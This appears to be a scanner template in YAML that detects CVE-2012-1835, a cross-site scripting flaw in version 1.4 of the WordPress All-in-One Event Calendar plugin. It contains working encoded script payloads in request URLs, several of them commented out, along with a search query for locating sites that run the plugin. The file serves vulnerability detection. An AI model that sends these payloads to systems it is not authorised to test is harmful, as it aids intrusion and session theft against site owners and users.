id: CVE-2012-1835 info: name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement. remediation: | Update to the latest version of the All-in-One Event Calendar plugin to mitigate the XSS vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-1835 - https://web.archive.org/web/20151001133311/http://archives.neohapsis.com/archives/bugtraq/2012-04/0071.html - http://web.archive.org/web/20210615141436/https://www.securityfocus.com/bid/52986 - https://www.htbridge.com/advisory/HTB23082 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2012-1835 cwe-id: CWE-79 epss-score: 0.00229 epss-percentile: 0.61052 cpe: cpe:2.3:a:timely:all-in-one_event_calendar:1.4:*:*:*:*:*:*:* metadata: max-request: 1 vendor: timely product: all-in-one_event_calendar google-query: inurl:"/wp-content/plugins/all-in-one-event-calendar" tags: cve,cve2012,wordpress,xss,wp-plugin,timely http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' # - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E' # - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28123%29;%3C/script%3E' # - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28123%29;%3C/script%3E' # - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28123%29;%3C/script%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a00463044022006162228d182a0d6beefb0beb208b533b7133d665f51b3a082b493f90a0c150402202ae82ffa66ff262a7ac623d41e139f5da1afb7b91d2ad5bb8705b8ade3958a36:922c64590222798bb761d5b6d8e72950